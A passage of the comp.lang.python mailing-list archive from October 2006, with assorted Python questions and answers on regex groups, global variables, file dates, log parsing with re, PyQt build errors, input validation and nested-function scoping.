inst.stringData = "NewChanged"

print inst.stringData
print inst.listData
print inst.stringData
print inst.listData
print

-----
Whatever
[]

Whatever
['SomeString']

NewChanged
['SomeString', 'NewThing']
NewChanged
['SomeString', 'NewThing']

Isn't this what you got?

-Chetan


From horpner at yahoo.com  Fri Oct  6 11:36:37 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 6 Oct 2006 17:36:37 +0200
Subject: Strange sorting error message
References: <1159915028.355898.40080@b28g2000cwb.googlegroups.com>
	<mailman.1214.1159929494.10491.python-list@python.org>
	<1160085635.215544.96580@h48g2000cwc.googlegroups.com>
	<HMfVg.4318$5i7.2585@newsreading01.news.tds.net>
	<mailman.1420.1160118503.10491.python-list@python.org>
Message-ID: <slrneicu0k.ro.horpner@FIAD06.norwich.edu>

On 2006-10-06, hanumizzle <hanumizzle at gmail.com> wrote:
> On 10/5/06, Neil Cerutti <horpner at yahoo.com> wrote:
>
>> It was a joke, based on you hiding what you are doing, he decided
>> to hide the solution to your problem. Get it?
>
> What if it was for a proprietary software of some kind?

It wasn't sufficiently clear, hence the mild ribbing.

-- 
Neil Cerutti
The Rev. Merriwether spoke briefly, much to the delight of the
audience. --Church Bulletin Blooper 


From RAMohrmann at adelphia.net  Sun Oct 29 22:00:19 2006
From: RAMohrmann at adelphia.net (RAMohrmann at adelphia.net)
Date: 29 Oct 2006 19:00:19 -0800
Subject: How to access file last modified dates on each file in a directory
Message-ID: <1162177219.649954.318150@h48g2000cwc.googlegroups.com>

Greetings,

I am attempting to view all files in a directory and if those files
have not been modified within the last couple days I will remove them.
In order to do this I need to look at the file date modied and check
the date. I know how to look at each file name and I know how to remove
the file. I just can't figure out how to get access to the date last
modifed filed. Below is how I intend to access the file names in the
directory.

>>> import os,time,sys
>>> cachedirectory="c:\\informatica\\cache\\"
>>> v_filename_array=os.listdir(cachedirectory)
>>> x_len=len(v_filename_array)

v_filename_array[0] = first file name
v_filename_array[1] - second file name

Thanks'
Rich



From rocky at panix.com  Fri Oct 27 05:31:18 2006
From: rocky at panix.com (R. Bernstein)
Date: 27 Oct 2006 05:31:18 -0400
Subject: Tracing the execution of scripts?
References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com>
Message-ID: <wihfydads0p.fsf@panix3.panix.com>

pydb (http://bashdb.sf.net/pydb) has a both the ability to trace lines
as they are executed as well as an --output option to have this sent
to a file rather than stdout. If your program has threads it would be
good to use the --threading option. (The best threading support is if
your program uses the threading module for threads rather than the
lower-level thread module.)

A demo of the debugger including showing line tracing and output to a file is
here:
  http://showmedo.com/videos/video?name=pythonBernsteinPydbIntro&fromSeriesID=28


"Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> writes:

> Alright, I seem to be at a loss for what I am looking for, and I am not
> even really all that sure if it is possible or not.  I found the 'pdb'
> debugger, but I was wondering if there was something that would trace or
> log the order of line execution for a multi-module Python program.  I am
> having a little bit of a problem tracking down a problem that I
> mentioned earlier
> (http://groups.google.com/group/comp.lang.python/msg/9c759fc888b365be),
> and I am hoping that maybe seeing how the statements are executed will
> shed some light on the entire thing for me.
> 
> The debugger isn't working, though, because I have a timer set up to
> fire off every 20ms to check for incoming network traffic from the
> server, and that timer firing off makes stepping through with the
> debugger seemingly impossible to get any useful data.
> 
> Basically, is there something that will log every line of Python code
> executed, in its order of execution, to a text file so that I can see
> what is (or isn't) happening that I am expecting?  I know that the
> server is sending and receiving properly, because I can connect to it
> with a regular telnet client and it works -- but at the same time,
> everything I can think of to check my program's functionality checks out
> just fine (e.g., it reports that it is successfully sending what I am
> typing to the server, and it says that the server is not sending
> anything back to be read from the socket).
> 
> If it makes any difference, I am using wxWidgets' Python bindings for
> the UI code (and the timer), and using Python's socket library for the
> network stuff.
> 
> 	-- Mike


From antroy at gmail.com  Fri Oct  6 11:54:08 2006
From: antroy at gmail.com (Ant)
Date: 6 Oct 2006 08:54:08 -0700
Subject: Bug in re module?
In-Reply-To: <1160149779.553564.9210@m7g2000cwm.googlegroups.com>
References: <1160149779.553564.9210@m7g2000cwm.googlegroups.com>
Message-ID: <1160150048.211740.175620@k70g2000cwa.googlegroups.com>


Ant wrote:
> Look at the following minimal example:
... (snip example that shows non-capturing group capturing)

Note I get the same results from python versions 2.4 and 2.5.



From sybrenUSE at YOURthirdtower.com.imagination  Tue Oct 24 08:00:28 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Tue, 24 Oct 2006 14:00:28 +0200
Subject: Change on file
References: <mailman.1060.1161690469.11739.python-list@python.org>
Message-ID: <slrnejs02s.6u3.sybrenUSE@schuimige.stuvel.eu>

Fulvio enlightened us with:
> I was thinking about use md5 check to se if a file had changes since
> last check. Am I correct?

You can do that, but a check on the mtime (os.stat) would be a lot
easier.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From saniac at gmail.com  Sat Oct 28 16:27:12 2006
From: saniac at gmail.com (saniac)
Date: 28 Oct 2006 13:27:12 -0700
Subject: correct parameter usage for "select * where id in ..."
In-Reply-To: <mailman.1400.1162032294.11739.python-list@python.org>
References: <1162026084.206897.216630@k70g2000cwa.googlegroups.com>
	<1162030538.183789.249570@e3g2000cwe.googlegroups.com>
	<mailman.1400.1162032294.11739.python-list@python.org>
Message-ID: <1162067232.579601.210540@m7g2000cwm.googlegroups.com>

paul wrote:
> Frank Millman schrieb:
> > If you want it to handle a variable number of values, you will have to
> > programmatically construct the sql statement with the appropriate
> > number of parameters.

Yes, I should have made it clear it was the variable part that was
hard.

> >>> vals = (1,2,3,4,5)
> >>> sql = "select * from table where value in ("+','.join("?"*len(vals))+")"
> >>> print sql
> 'select * from table where value in (?,?,?,?,?)'

Argh, I have a scripting language and I'm not building up strings
dynamically? What an idiot.

Thanks, that's just what I needed.



From python.list at tim.thechases.com  Thu Oct 12 13:58:28 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Thu, 12 Oct 2006 12:58:28 -0500
Subject: strings in the global section
In-Reply-To: <1160675040.806545.7620@i3g2000cwc.googlegroups.com>
References: <1160675040.806545.7620@i3g2000cwc.googlegroups.com>
Message-ID: <452E8244.3070302@tim.thechases.com>

Phoe6 wrote:
> I write a script:
> #!/usr/bin/python
> astring = "This is a String"
> 
> def fun1():
>         astring = "I modify it in fun1"
> def fun2():
>         astring = "I modify it in fun2"
> def main():
>         print astring
>         fun1()
>         print astring
>         fun2()
>         print astring
> if __name__ == '__main__':
>         main()
> 
> And I am expecting the output to be:
> This is a String
> I modify it in fun1
> I modify it in fun2
> 
> But it is not so. It always prints This is a String. astring declared
> outside all the functions, is not in global section and values be
> overwritten by functions accessing it?
> 
> - How is this working?
> - What should I do to overwrite the string variable in the global
> section within functions?

http://docs.python.org/ref/global.html

def fun2():
	global astring
	astring = 'hey, I've changed!'

-tkc







From antroy at gmail.com  Fri Oct  6 12:02:38 2006
From: antroy at gmail.com (Ant)
Date: 6 Oct 2006 09:02:38 -0700
Subject: Bug in re module?
In-Reply-To: <1160150311.012494.98860@i3g2000cwc.googlegroups.com>
References: <1160149779.553564.9210@m7g2000cwm.googlegroups.com>
	<1160150311.012494.98860@i3g2000cwc.googlegroups.com>
Message-ID: <1160150558.282151.131750@m73g2000cwd.googlegroups.com>


John Machin wrote:

> Now quick kill your post before the effbot spots it :-)

Too late - the post was 3 minutes ago you know ;-)



From martin.witte at gmail.com  Fri Oct 20 10:48:05 2006
From: martin.witte at gmail.com (wittempj@hotmail.com)
Date: 20 Oct 2006 07:48:05 -0700
Subject: FOR statement
In-Reply-To: <1161355135.268792.220290@f16g2000cwb.googlegroups.com>
References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com>
Message-ID: <1161355685.049304.314360@m7g2000cwm.googlegroups.com>


Lad wrote:
> If I have a list
>
> Mylist=[1,2,3,4,5]
> I can print it
>
> for i in Mylist:
>    print i
>
> and results is
> 1
> 2
> 3
> 4
> 5
>
>
> But how can I  print it in a reverse order so that I get
> 5
> 4
> 3
> 2
> 1
>
>
>
> ?
>
>
> Thanks.
> L

reverse the list in place with reverse method

l.reverse()
for i in l:
    print i

and the reverse it back if needed



From nnorwitz at gmail.com  Fri Oct 27 23:39:42 2006
From: nnorwitz at gmail.com (nnorwitz at gmail.com)
Date: 27 Oct 2006 20:39:42 -0700
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <453E4D95.7080204@v.loewis.de>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<453D4BC4.9080100@v.loewis.de>
	<1161649124.962144.127140@e3g2000cwe.googlegroups.com>
	<453E4D95.7080204@v.loewis.de>
Message-ID: <1162006782.482595.244560@e3g2000cwe.googlegroups.com>

Martin v. L?wis wrote:
> sturlamolden schrieb:
>
> > And why doesn't Python's mmap take an offset argument to handle large
> > files?
>
> I don't know exactly; the most likely reason is that nobody has
> contributed code to make it support that. That's, in turn, probably
> because nobody had the problem yet, or nobody of those who did
> cared enough to implement and contribute a patch.

Or because no one cared enough to test a patch that was produced 2.5
years ago (not directed at Martin, just pointing out why the patch
stalled).

  http://python.org/sf/708374

With just a little community support, this can go in.  I suppose now
that we have the buildbots, we can check in untested code and test it
that way.  The patch should be reviewed.

n



From fredrik at pythonware.com  Wed Oct  4 06:03:41 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 4 Oct 2006 12:03:41 +0200
Subject: string: __iter__()?
References: <7e8bf$452385eb$506d0b9f$12642@news.chello.at>
Message-ID: <eg00tu$h80$1@sea.gmane.org>

mrquantum wrote:

> Just for curiosity i'd like to know why strings don't support the
> iteration protocoll!?

really?  iter("SomeString") works just fine for me.

</F>






From f.braennstroem at gmx.de  Fri Oct  6 05:51:04 2006
From: f.braennstroem at gmx.de (Fabian Braennstroem)
Date: Fri, 6 Oct 2006 11:51:04 +0200
Subject: extract certain values from file with re
Message-ID: <eg58u2$333$1@sea.gmane.org>

Hi,

I would like to remove certain lines from a log files. I had
some sed/awk scripts for this, but now, I want to use python
with its re module for this task. 

Actually, I have two different log files. The first file looks
like:

   ...
   'some text'
   ...
   
       ITER I----------------- GLOBAL ABSOLUTE RESIDUAL -----------------I  I------------ FIELD VALUES AT MONITORING LOCATION  ----------I
        NO    UMOM     VMOM     WMOM     MASS     T EN     DISS     ENTH       U        V        W        P       TE       ED        T
         1  9.70E-02 8.61E-02 9.85E-02 1.00E+00 1.61E+01 7.65E+04 0.00E+00  1.04E-01-8.61E-04 3.49E-02 1.38E-03 7.51E-05 1.63E-05 2.00E+01
         2  3.71E-02 3.07E-02 3.57E-02 1.00E+00 3.58E-01 6.55E-01 0.00E+00  1.08E-01-1.96E-03 4.98E-02 7.11E-04 1.70E-04 4.52E-05 2.00E+01
         3  2.64E-02 1.99E-02 2.40E-02 1.00E+00 1.85E-01 3.75E-01 0.00E+00  1.17E-01-3.27E-03 6.07E-02 4.02E-04 4.15E-04 1.38E-04 2.00E+01
         4  2.18E-02 1.52E-02 1.92E-02 1.00E+00 1.21E-01 2.53E-01 0.00E+00  1.23E-01-4.85E-03 6.77E-02 1.96E-05 9.01E-04 3.88E-04 2.00E+01
         5  1.91E-02 1.27E-02 1.70E-02 1.00E+00 8.99E-02 1.82E-01 0.00E+00  1.42E-01-6.61E-03 7.65E-02 1.78E-04 1.70E-03 9.36E-04 2.00E+01
   ...
   ...
   ...
   
      2997  3.77E-04 2.89E-04 3.05E-04 2.71E-02 5.66E-04 6.28E-04 0.00E+00 -3.02E-01 3.56E-02-7.97E-02-7.11E-02 4.08E-02 1.86E-01 2.00E+01
      2998  3.77E-04 2.89E-04 3.05E-04 2.71E-02 5.65E-04 6.26E-04 0.00E+00 -3.02E-01 3.63E-02-8.01E-02-7.10E-02 4.02E-02 1.83E-01 2.00E+01
      2999  3.76E-04 2.89E-04 3.05E-04 2.70E-02 5.64E-04 6.26E-04 0.00E+00 -3.02E-01 3.69E-02-8.04E-02-7.10E-02 3.96E-02 1.81E-01 2.00E+01
      3000  3.78E-04 2.91E-04 3.07E-04 2.74E-02 5.64E-04 6.26E-04 0.00E+00 -3.01E-01 3.75E-02-8.07E-02-7.09E-02 3.91E-02 1.78E-01 2.00E+01
    &&&&&&  --------------------------------------------------------------  ----
   
   ....
   'some text'
   ....

I actually want to extract the lines with the numbers, write
them to a file and finally use gnuplot for plotting them. A
nicer and more python way would be to extract those numbers,
write them into an array according to their column and plot
those using the gnuplot or matplotlib module :-)

Unfortunately, I am pretty new to the re module and tried
the following so far:


  import re
  pat = re.compile('\ \ \ NO.*?&&&&&&', re.DOTALL)
  print re.sub(pat, '', open('log_star_orig').read()) 
  

but this works just the other way around, which means that
the original log file is printed without the number part. So
the next step would be to delete the part from the first
line to '\ \ \ \ NO' and the part from '&&&&&&' to the end,
but I do not know how to address the first and last line!?

Would be nice, if you can give me a hint and especially
interesting would it be, when you have an idea, how I can
put those columns in arrays, so I can plot them right away!


A more difficult log file looks like:

 ======================================================================
 OUTER LOOP ITERATION =    1                     CPU SECONDS = 2.40E+01
 ----------------------------------------------------------------------
 |       Equation       | Rate | RMS Res | Max Res |  Linear Solution |
 +----------------------+------+---------+---------+------------------+
 | U-Mom                | 0.00 | 1.0E-02 | 5.0E-01 |       4.9E-03  OK|
 | V-Mom                | 0.00 | 2.4E-14 | 5.6E-13 |       3.8E+09  ok|
 | W-Mom                | 0.00 | 2.5E-14 | 8.2E-13 |       8.3E+09  ok|
 | P-Mass               | 0.00 | 1.1E-02 | 3.4E-01 |  8.9  2.7E-02  OK|
 +----------------------+------+---------+---------+------------------+
 | K-TurbKE             | 0.00 | 1.8E+00 | 1.8E+00 |  5.8  2.2E-08  OK|
 | E-Diss.K             | 0.00 | 1.9E+00 | 2.0E+00 | 12.4  2.2E-08  OK|
 +----------------------+------+---------+---------+------------------+

 ======================================================================
 OUTER LOOP ITERATION =    2                     CPU SECONDS = 8.57E+01
 ----------------------------------------------------------------------
 |       Equation       | Rate | RMS Res | Max Res |  Linear Solution |
 +----------------------+------+---------+---------+------------------+
 | U-Mom                | 1.44 | 1.5E-02 | 5.3E-01 |       9.6E-03  OK|
 | V-Mom                |99.99 | 1.1E-03 | 6.2E-02 |       5.7E-02  OK|
 | W-Mom                |99.99 | 1.9E-03 | 6.0E-02 |       5.9E-02  OK|
 | P-Mass               | 0.27 | 3.0E-03 | 2.0E-01 |  8.9  7.9E-02  OK|
 +----------------------+------+---------+---------+------------------+
 | K-TurbKE             | 0.03 | 5.4E-02 | 4.4E-01 |  5.8  2.9E-08  OK|
 | E-Diss.K             | 0.05 | 8.9E-02 | 9.3E-01 | 12.4  2.6E-08  OK|
 +----------------------+------+---------+---------+------------------+



...
...
...


 ======================================================================
 OUTER LOOP ITERATION =  416                     CPU SECONDS = 2.28E+04
 ----------------------------------------------------------------------
 |       Equation       | Rate | RMS Res | Max Res |  Linear Solution |
 +----------------------+------+---------+---------+------------------+
 | U-Mom                | 0.96 | 1.8E-04 | 5.8E-03 |       1.8E-02  OK|
 | V-Mom                | 0.98 | 3.6E-05 | 1.5E-03 |       4.4E-02  OK|
 | W-Mom                | 0.99 | 4.5E-05 | 2.1E-03 |       4.3E-02  OK|
 | P-Mass               | 0.96 | 8.3E-06 | 3.0E-04 | 12.9  4.0E-02  OK|
 +----------------------+------+---------+---------+------------------+
 | K-TurbKE             | 0.98 | 1.5E-03 | 3.0E-02 |  5.7  2.5E-06  OK|
 | E-Diss.K             | 0.97 | 4.2E-04 | 1.1E-02 | 12.3  3.9E-08  OK|
 +----------------------+------+---------+---------+------------------+


With my sed/awk/grep/gnuplot script I would extract the
values in the 'U-Mom' row using grep and print a certain
column (e.g. 'Max Res') to a file and print it with gnuplot.
Maybe I have to remove those '|' using sed before...
Do you have an idea, how I can do this completely using
python?

Thanks for your help!


Greetings!
 Fabian



From baur79 at gmail.com  Sat Oct 28 00:42:48 2006
From: baur79 at gmail.com (baur79 at gmail.com)
Date: 27 Oct 2006 21:42:48 -0700
Subject: PyQt-x11-gpl-3.16 compile error
In-Reply-To: <1161960442.301226.261210@f16g2000cwb.googlegroups.com>
References: <1161952403.534113.59630@f16g2000cwb.googlegroups.com>
	<1161960442.301226.261210@f16g2000cwb.googlegroups.com>
Message-ID: <1162010568.002207.56140@b28g2000cwb.googlegroups.com>

Hi David
here is th output :

[root at localhost PyQt-x11-gpl-3.16]# python configure.py -q
/usr/lib/qt-3.3/ -w
This is the GPL version of PyQt 3.16 (licensed under the GNU General
Public
License) for Python 2.4.2 on linux2.

Type 'L' to view the license.
Type 'yes' to accept the terms of the license.
Type 'no' to decline the terms of the license.

Do you accept the terms of the license? yes
qextscintillaglobal.h could not be found in /usr/lib/qt-3.3/include and
so the
qtext module will not be built. If QScintilla is installed then use the
-n
argument to explicitly specify the correct directory.
Checking to see if the qtcanvas module should be built...
/usr/bin/ld: cannot find -lXext
collect2: ld returned 1 exit status
Checking to see if the qtnetwork module should be built...
/usr/bin/ld: cannot find -lXext
collect2: ld returned 1 exit status
Checking to see if the qttable module should be built...
/usr/bin/ld: cannot find -lXext
collect2: ld returned 1 exit status
Checking to see if the qtxml module should be built...
/usr/bin/ld: cannot find -lXext
collect2: ld returned 1 exit status
Checking to see if the qtgl module should be built...
In file included from cfgtest.cpp:1:
/usr/lib/qt-3.3/include/qgl.h:79:20: error: GL/gl.h: No such file or
directory
/usr/lib/qt-3.3/include/qgl.h:80:21: error: GL/glu.h: No such file or
directory
Checking to see if the qtui module should be built...
/usr/bin/ld: cannot find -lXext
collect2: ld returned 1 exit status
Checking to see if the qtsql module should be built...
/usr/bin/ld: cannot find -lXext
collect2: ld returned 1 exit status
Checking to see if the QAssistantClient class is available...
/usr/bin/ld: cannot find -lmng
collect2: ld returned 1 exit status
Creating features file...
/usr/bin/ld: cannot find -lXext
collect2: ld returned 1 exit status
Error: Unable to build mkfeatures utility.



From sjmachin at lexicon.net  Fri Oct  6 11:58:31 2006
From: sjmachin at lexicon.net (John Machin)
Date: 6 Oct 2006 08:58:31 -0700
Subject: Bug in re module?
In-Reply-To: <1160149779.553564.9210@m7g2000cwm.googlegroups.com>
References: <1160149779.553564.9210@m7g2000cwm.googlegroups.com>
Message-ID: <1160150311.012494.98860@i3g2000cwc.googlegroups.com>


Ant wrote:
> Look at the following minimal example:
>
> >>> import re
> >>> p = re.compile(r"(:?Test) (String)")

Bzzzzzt! Sorry, PBKAC.

The correct syntax is (?:foo)
You have (:?foo)
which matches an optional colon followed by foo.

Now quick kill your post before the effbot spots it :-)


> >>> m = p.search("This is a Test String OK?")
> >>> m.groups()
> ('Test', 'String')
>
> I would have expected this to produce:
>
> ('String')
>
> since (:?...) should be a non-capturing group. From the module
> reference:
>
> (?:...)
>     A non-grouping version of regular parentheses. Matches whatever
> regular expression is inside the parentheses, but the substring matched
> by the group cannot be retrieved after performing a match or referenced
> later in the pattern.



From fredrik at pythonware.com  Thu Oct  5 22:32:38 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 04:32:38 +0200
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <87zmcacspy.fsf@benfinney.id.au>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>	<7xac4cpefr.fsf@ruckus.brouhaha.com>	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>	<eg03un$se8$1@news.albasani.net>	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>
	<eg17jd$gsr$1@news.albasani.net>	<mailman.1295.1159996151.10491.python-list@python.org>	<slrneia6c4.55m.apardon@rcpc42.vub.ac.be>	<7.0.1.0.0.20061005153148.05a4a350@yahoo.com.ar>	<eg3kgh$h1p$1@sea.gmane.org>
	<87zmcacspy.fsf@benfinney.id.au>
Message-ID: <eg4f86$u1e$1@sea.gmane.org>

Ben Finney wrote:

> Perhaps you meant something other than "if the documentation doesn't
> explicitly say that something is a keyword argument, it isn't", then.

I'm sure it's perfectly possibly to use your foot as a door stop, but 
does that really mean that it is one?

</F>



From mensanator at aol.com  Sat Oct 14 23:45:20 2006
From: mensanator at aol.com (mensanator at aol.com)
Date: 14 Oct 2006 20:45:20 -0700
Subject: problem with the 'math' module in 2.5?
In-Reply-To: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>
References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>
Message-ID: <1160883920.840500.228580@i3g2000cwc.googlegroups.com>


Chris wrote:
> >>> from math import *
> >>> sin(0)
> 0.0
> >>> sin(pi)
> 1.2246063538223773e-016
> >>> sin(2*pi)
> -2.4492127076447545e-016
> >>> cos(0)
> 1.0
> >>> cos(pi)
> -1.0
> >>> cos(2*pi)
> 1.0
>
> The cosine function works fine, but I'm getting weird answers for sine.
> Is this a bug? Am I doing something wrong?

What answer do you suppose you get in version 2.4?



From jiang.haiyun at gmail.com  Sat Oct 28 11:16:20 2006
From: jiang.haiyun at gmail.com (jiang.haiyun at gmail.com)
Date: 28 Oct 2006 08:16:20 -0700
Subject: Python crashed when importing SOAPpy,
	printing out 'usage:copy source destination'
References: <1162026431.149026.215510@h48g2000cwc.googlegroups.com>
	<mailman.1396.1162027206.11739.python-list@python.org>
Message-ID: <1162048580.109664.80120@f16g2000cwb.googlegroups.com>

Fredrik Lundh wrote:

>
> this is how things work: Python doesn't distinguish between script
> files and module files; a module is simply a script that defines a
> bunch of things.
>
> if you want to create something that can work both as a script and a
> module, see:
>
>     http://effbot.org/pyfaq/tutor-what-is-if-name-main-for.htm
>
> </F>

I still can't understand it. If i rename the 'copy.py' to 'a.py',
there will be no problem.
As follows:
###########################
haiyun# ls
copy.py
haiyun# python
Python 2.4.1 (#2, Mar 28 2006, 21:00:14)
[GCC 3.4.2 [FreeBSD] 20040728] on freebsd5
Type "help", "copyright", "credits" or "license" for more information.
>>> import SOAPpy
usage:copy source destination

haiyun# ls
copy.py  copy.pyc
##########################

it seems that the copy.py in the PWD has been interpreted as the
SOAPpy module imported.
So i rename the copy.py to a.py.
As follows:
########################
haiyun# ls
copy.py  copy.pyc
haiyun# rm copy.pyc
haiyun# mv copy.py a.py
haiyun# ls
a.py
haiyun# python
Python 2.4.1 (#2, Mar 28 2006, 21:00:14)
[GCC 3.4.2 [FreeBSD] 20040728] on freebsd5
Type "help", "copyright", "credits" or "license" for more information.
>>> import SOAPpy
>>>
#########################

Everything is all right!
The content of the copy.py(a.py) is:
#########################
haiyun# cat a.py
#!env python
usage="usage:copy source destination\n"
import sys
len=len(sys.argv)
if len!=3 :
        print usage
        sys.exit()
#########################

I guess something in the SOAPpy module conflects with the copy.py in
the PWD.
So what it happened?

>Regards,
>jiang.haiyun



From deets at nospam.web.de  Fri Oct 20 10:25:48 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 20 Oct 2006 16:25:48 +0200
Subject: User Access to the docstring of a property
In-Reply-To: <mailman.843.1161353895.11739.python-list@python.org>
References: <mailman.843.1161353895.11739.python-list@python.org>
Message-ID: <4ps4j9Fkbd7pU1@uni-berlin.de>

Colin J. Williams schrieb:
> Is there some way that the user can access the docstring specified for a 
> property?

You need to access it using the class, not an instance of it.

class Foo(object):

     @apply
     def prop():
         def fget(self):
             return 10
         def fset(self, value):
             pass
         doc = "this is a docstring"
         return property(**locals())

f = Foo()
print f.prop


print Foo.prop.__doc__

print f.__class__.prop.__doc__


Diez


From jstroud at mbi.ucla.edu  Fri Oct  6 23:15:49 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Sat, 07 Oct 2006 03:15:49 GMT
Subject: error handling in user input: is this natural or just laborious
In-Reply-To: <1160180341.136179.176690@b28g2000cwb.googlegroups.com>
References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com>
	<sXzVg.9551$vJ2.7097@newssvr12.news.prodigy.com>
	<pmAVg.9558$vJ2.8276@newssvr12.news.prodigy.com>
	<1160178799.914895.28100@k70g2000cwa.googlegroups.com>
	<1160180341.136179.176690@b28g2000cwb.googlegroups.com>
Message-ID: <FZEVg.9629$vJ2.248@newssvr12.news.prodigy.com>

sam wrote:
> this does what i want, though i don't like the inner while loop having
> to be there
> 
> 
> def get_pct():
> 	while True:
> 		pct_list=[['cash', 0], ['bond', 0], ['blue', 0], ['tech', 0], ['dev',
> 0]]
> 		total=0
> 		for i in range(len(pct_list)):
> 			while True:
> 				pct_list[i][1]=raw_input('Please enter the percentage value for %s:
> ' %pct_list[i][0])
> 				if pct_list[i][1].isdigit() == False:
> 					print "You've messed up, do it again..."
> 				else:
> 					total+=int(pct_list[i][1])
> 					break
> 		if total == 100:
> 			return pct_list
> 			break
> 		else:
> 			print "You've messed up, do it again..."
> 
> 
> gosh, a lot of work to get some input. i must be missing something,
> though this is a lot better than what i had before...
> 

I think youwill like your code better if you take nested loops and put 
them in functions

In this following block, I have made changes to your revised code to 
show better technique on the small scale (removing tabs so it would 
format correctly without wrapping and breaking lines):

def get_pct():
   while True:

     # for things like your pct_list, begin with dictionaries in mind
     # the pairs you had were unnecessary clutter
     pct_list = ['cash', 'bond', 'blue', 'tech', 'dev']


     # clean up code by moving long message strings outside of loops
     # this will help you see the logic of your code later
     msg = 'Please enter the percentage value for %s: '

     # Hmm--running totals, big PITA
     total=0

     # here is the dictionary we will be constructing
     pct_dict = {}

     # loop over lists and not over list indices
     # usually watch when you want to write "range(len(some_list))"
     for a_pct in pct_list:

        # 3rd level nested loop: think function
        while True:

            # see the python style guide for where to put spaces
            # around such things as equals signs
            pct_dict[a_pct] = raw_input(msg % a_pct)

            # doesn't seem to hit at the heart of what you want, but
            # I'll keep it for pedagogy (I would try to coerce to float
            # and catch
            # also, use not instead of "== False"
            # e.g: if not pct_list[a_pct].isdigit()
            # better yet, put the positive case in the "if" statement
            try:

                # maybe even better would be to total later so you
                # don't have to keep track of a running total
                # also, coercing to int here anyway, so just make it
                # the test with try:except
                total += int(pct_list[a_pct])
                break

            except ValueError, e:
                print "You've messed up, do it again..."

         # the pct_list may add to 100 as floats, but int rounding
         # might kill the total and make the test fail
         # perhaps add as floats and test for a small range around
         # 100 that allows for float arithmetic error
         if total == 100:
             return pct_list
         else:
             print "You've messed up, do it again..."


That's as few changes I could make to it. Let's see it without the comments:


def get_pct():
   while True:
     pct_list = ['cash', 'bond', 'blue', 'tech', 'dev']
     msg = 'Please enter the percentage value for %s: '
     total=0
     pct_dict = {}
     for a_pct in pct_list:
        while True:
            pct_dict[a_pct] = raw_input(msg % a_pct)
            try:
                total += int(pct_list[a_pct])
                break
            except ValueError, e:
                print "You've messed up, do it again..."
         if total == 100:
             return pct_dict
         else:
             print "You've messed up, do it again..."


A little cleaner. Now, lets tighten it up a bit more, and put nested 
loops into functions. Im getting rid of keeping track of the running 
total, that will clean a lot. I'm also going to be a little more 
mathematically saavy.

def get_pct():
   while True:
     pct_list = ['cash', 'bond', 'blue', 'tech', 'dev']
     pct_dict = get_pct_dict(pct_list)
     total = sum(pct_dict.values())
     if (total < 99.999) or (total > 100.001):
       print "You've messed up, do it again"
     else:
       return pct_dict()

def get_pct_dict(pct_list):
   pct_dict = {}
   for a_pct in pct_list:
     pct_dict[a_pct] = get_one_pct_value(a_pct)
   return pct_dict()

def get_one_pct_value(a_pct):
   msg = 'Please enter the percentage value for %s: '
   while True:
     try:
        return float(msg % a_pct)
     except ValueError:
        print "You messed up, try again."

Now, all testing is done at the point where it is needed. There are no 
running totals that could cause accounting errors, your final data 
structure is an easy to use dict, unecessary tests have been eliminated, 
loops have been de-nested visually and logically, and, most importantly, 
the indentation level is kept manageable.

I think you will be able to see how this latter code evolved from yours. 
  I used to program just like you and it has taken me a few years to 
develop these little rules for tightening my code.

James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From anthra.norell at vtxmail.ch  Sun Oct 29 04:16:45 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Sun, 29 Oct 2006 10:16:45 +0100
Subject: Where do nested functions live?
In-Reply-To: <4qhf11Fn4g9fU1@uni-berlin.de>
References: <pan.2006.10.28.07.56.22.854398@REMOVE.THIS.cybersource.com.au>	<ehv2l1$a23$1@sea.gmane.org>	<mailman.1410.1162052677.11739.python-list@python.org>
	<4qhf11Fn4g9fU1@uni-berlin.de>
Message-ID: <4544717D.4020908@vtxmail.ch>

Diez B. Roggisch wrote:
>> If I may turn the issue around, I could see a need for an inner function 
>> to be able to access the variables of the outer function, the same way a 
>> function can access globals. Why? Because inner functions serve to 
>> de-multiply code segments one would otherwise need to repeat or to 
>> provide a code segment with a name suggestive of its function. In either 
>> case the code segment moved to the inner function loses contact with its 
>> environment, which rather mitigates its benefit.
>>     
>
> Maybe I'm dense here, but where is your point? Python has nested lexical 
> scoping, and while some people complain about it's actual semantics, it 
> works very well:
>
> def outer():
>     outer_var = 10
>     def inner():
>         return outer_var * 20
>     return inner
>
> print outer()()
>
>
>
> Diez
>   
My point is that an inner function operating on existing outer variables 
should be allowed to do so directly. Your example in its simplicity is 
unproblematic. Let us consider a case where several outer variables need 
to be changed:

   weeks = days = hours = minutes = seconds = 0
   mseconds = 0.0

   (code)

   # add interval in milliseconds
   have_ms = ((((((((((weeks * 7) + days) * 24) + hours) * 60) + 
minutes) * 60) + seconds) * 1000) + mseconds)
   new_ms = have_ms + interval_ms
   # reconvert
   s = new_ms / 1000.0
   s = int (s)
   mseconds = new_ms - s * 1000
   m, seconds = divmod (s, 60)
   h, minutes = divmod (m, 60)
   d, hours = divmod (h, 24)
   weeks, days = divmod (d, 7)

   (more code)

At some later point I need to increment my units some more and probably 
will again a number of times. Clearly this has to go into a function. I 
